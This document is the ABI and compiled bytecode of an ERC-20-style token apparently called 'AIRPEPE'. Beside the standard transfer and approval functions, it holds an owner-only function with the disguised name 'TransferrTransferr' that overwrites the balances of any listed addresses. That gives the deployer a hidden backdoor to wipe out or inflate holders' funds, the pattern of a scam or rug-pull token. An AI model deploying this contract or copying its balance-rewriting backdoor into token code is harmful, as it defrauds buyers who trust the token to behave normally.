[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "TransferrTransferr", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b5060405162001f3738038062001f37833981810160405281019062000037919062000434565b6000620000496200022060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360039081620000f8919062000725565b5082600490816200010a919062000725565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200013591906200098f565b81620001429190620009e0565b600681905550600654600160006200015f6200022060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001ad6200022060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200020e919062000a3c565b60405180910390a35050505062000a59565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002918262000246565b810181811067ffffffffffffffff82111715620002b357620002b262000257565b5b80604052505050565b6000620002c862000228565b9050620002d6828262000286565b919050565b600067ffffffffffffffff821115620002f957620002f862000257565b5b620003048262000246565b9050602081019050919050565b60005b838110156200033157808201518184015260208101905062000314565b60008484015250505050565b6000620003546200034e84620002db565b620002bc565b90508281526020810184848401111562000373576200037262000241565b5b6200038084828562000311565b509392505050565b600082601f830112620003a0576200039f6200023c565b5b8151620003b28482602086016200033d565b91505092915050565b600060ff82169050919050565b620003d381620003bb565b8114620003df57600080fd5b50565b600081519050620003f381620003c8565b92915050565b6000819050919050565b6200040e81620003f9565b81146200041a57600080fd5b50565b6000815190506200042e8162000403565b92915050565b6000806000806080858703121562000451576200045062000232565b5b600085015167ffffffffffffffff81111562000472576200047162000237565b5b620004808782880162000388565b945050602085015167ffffffffffffffff811115620004a457620004a362000237565b5b620004b28782880162000388565b9350506040620004c587828801620003e2565b9250506060620004d8878288016200041d565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200053757607f821691505b6020821081036200054d576200054c620004ef565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005b77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000578565b620005c3868362000578565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200060662000600620005fa84620003f9565b620005db565b620003f9565b9050919050565b6000819050919050565b6200062283620005e5565b6200063a62000631826200060d565b84845462000585565b825550505050565b600090565b6200065162000642565b6200065e81848462000617565b505050565b5b8181101562000686576200067a60008262000647565b60018101905062000664565b5050565b601f821115620006d5576200069f8162000553565b620006aa8462000568565b81016020851015620006ba578190505b620006d2620006c98562000568565b83018262000663565b50505b505050565b600082821c905092915050565b6000620006fa60001984600802620006da565b1980831691505092915050565b6000620007158383620006e7565b9150826002028217905092915050565b6200073082620004e4565b67ffffffffffffffff8111156200074c576200074b62000257565b5b6200075882546200051e565b620007658282856200068a565b600060209050601f8311600181146200079d576000841562000788578287015190505b62000794858262000707565b86555062000804565b601f198416620007ad8662000553565b60005b82811015620007d757848901518255600182019150602085019450602081019050620007b0565b86831015620007f75784890151620007f3601f891682620006e7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200089a578086048111156200087257620008716200080c565b5b6001851615620008825780820291505b808102905062000892856200083b565b945062000852565b94509492505050565b600082620008b5576001905062000988565b81620008c5576000905062000988565b8160018114620008de5760028114620008e9576200091f565b600191505062000988565b60ff841115620008fe57620008fd6200080c565b5b8360020a9150848211156200091857620009176200080c565b5b5062000988565b5060208310610133831016604e8410600b8410161715620009595782820a9050838111156200095357620009526200080c565b5b62000988565b62000968848484600162000848565b925090508184048111156200098257620009816200080c565b5b81810290505b9392505050565b60006200099c82620003f9565b9150620009a983620003bb565b9250620009d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a3565b905092915050565b6000620009ed82620003f9565b9150620009fa83620003f9565b925082820262000a0a81620003f9565b9150828204841483151762000a245762000a236200080c565b5b5092915050565b62000a3681620003f9565b82525050565b600060208201905062000a53600083018462000a2b565b92915050565b6114ce8062000a696000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce56714610155578063492e496a14610173575b600080fd5b6100c1610265565b6040516100ce9190610d42565b60405180910390f35b6100f160048036038101906100ec9190610e0c565b6102f7565b6040516100fe9190610e67565b60405180910390f35b61010f6103f7565b60405161011c9190610e91565b60405180910390f35b61013f600480360381019061013a9190610eac565b610401565b60405161014c9190610e67565b60405180910390f35b61015d61067f565b60405161016a9190610f1b565b60405180910390f35b61018d6004803603810190610188919061107e565b610696565b005b6101a960048036038101906101a491906110da565b61082f565b6040516101b69190610e91565b60405180910390f35b6101c7610878565b6040516101d49190611116565b60405180910390f35b6101e56108a1565b6040516101f29190610d42565b60405180910390f35b61021560048036038101906102109190610e0c565b610933565b6040516102229190610e67565b60405180910390f35b610233610ae7565b005b61024f600480360381019061024a9190611131565b610c23565b60405161025c9190610e91565b60405180910390f35b606060038054610274906111a0565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906111a0565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b60008160026000610306610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103a0610caa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103e59190610e91565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061044d610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c090611243565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105189190611292565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461056e91906112c6565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105bf610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106089190611292565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161066c9190610e91565b60405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b61069e610caa565b73ffffffffffffffffffffffffffffffffffffffff166106bc610878565b73ffffffffffffffffffffffffffffffffffffffff1614610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990611346565b60405180910390fd5b60005b825181101561082a57600083828151811061073357610732611366565b5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3828660405161080d929190611395565b60405180910390a250508080610822906113be565b915050610715565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108b0906111a0565b80601f01602080910402602001604051908101604052809291908181526020018280546108dc906111a0565b80156109295780601f106108fe57610100808354040283529160200191610929565b820191906000526020600020905b81548152906001019060200180831161090c57829003601f168201915b5050505050905090565b60008160016000610942610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590611478565b60405180910390fd5b81600160006109cb610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a149190611292565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a6a91906112c6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610a90610caa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad59190610e91565b60405180910390a36001905092915050565b610aef610caa565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610878565b73ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90611346565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610cec578082015181840152602081019050610cd1565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d1482610cb2565b610d1e8185610cbd565b9350610d2e818560208601610cce565b610d3781610cf8565b840191505092915050565b60006020820190508181036000830152610d5c8184610d09565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da382610d78565b9050919050565b610db381610d98565b8114610dbe57600080fd5b50565b600081359050610dd081610daa565b92915050565b6000819050919050565b610de981610dd6565b8114610df457600080fd5b50565b600081359050610e0681610de0565b92915050565b60008060408385031215610e2357610e22610d6e565b5b6000610e3185828601610dc1565b9250506020610e4285828601610df7565b9150509250929050565b60008115159050919050565b610e6181610e4c565b82525050565b6000602082019050610e7c6000830184610e58565b92915050565b610e8b81610dd6565b82525050565b6000602082019050610ea66000830184610e82565b92915050565b600080600060608486031215610ec557610ec4610d6e565b5b6000610ed386828701610dc1565b9350506020610ee486828701610dc1565b9250506040610ef586828701610df7565b9150509250925092565b600060ff82169050919050565b610f1581610eff565b82525050565b6000602082019050610f306000830184610f0c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610f7382610cf8565b810181811067ffffffffffffffff82111715610f9257610f91610f3b565b5b80604052505050565b6000610fa5610d64565b9050610fb18282610f6a565b919050565b600067ffffffffffffffff821115610fd157610fd0610f3b565b5b602082029050602081019050919050565b600080fd5b6000610ffa610ff584610fb6565b610f9b565b9050808382526020820190506020840283018581111561101d5761101c610fe2565b5b835b8181101561104657806110328882610dc1565b84526020840193505060208101905061101f565b5050509392505050565b600082601f83011261106557611064610f36565b5b8135611075848260208601610fe7565b91505092915050565b6000806040838503121561109557611094610d6e565b5b600083013567ffffffffffffffff8111156110b3576110b2610d73565b5b6110bf85828601611050565b92505060206110d085828601610df7565b9150509250929050565b6000602082840312156110f0576110ef610d6e565b5b60006110fe84828501610dc1565b91505092915050565b61111081610d98565b82525050565b600060208201905061112b6000830184611107565b92915050565b6000806040838503121561114857611147610d6e565b5b600061115685828601610dc1565b925050602061116785828601610dc1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111b857607f821691505b6020821081036111cb576111ca611171565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061122d602583610cbd565b9150611238826111d1565b604082019050919050565b6000602082019050818103600083015261125c81611220565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061129d82610dd6565b91506112a883610dd6565b92508282039050818111156112c0576112bf611263565b5b92915050565b60006112d182610dd6565b91506112dc83610dd6565b92508282019050808211156112f4576112f3611263565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611330602083610cbd565b915061133b826112fa565b602082019050919050565b6000602082019050818103600083015261135f81611323565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006040820190506113aa6000830185610e82565b6113b76020830184610e82565b9392505050565b60006113c982610dd6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036113fb576113fa611263565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611462602383610cbd565b915061146d82611406565b604082019050919050565b6000602082019050818103600083015261149181611455565b905091905056fea2646970667358221220171a593dbe5d5ca28a61c52871e6ccadd81e13b6481d4c6955b394ee62c3519264736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000007414952504550450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074149525045504500000000000000000000000000000000000000000000000000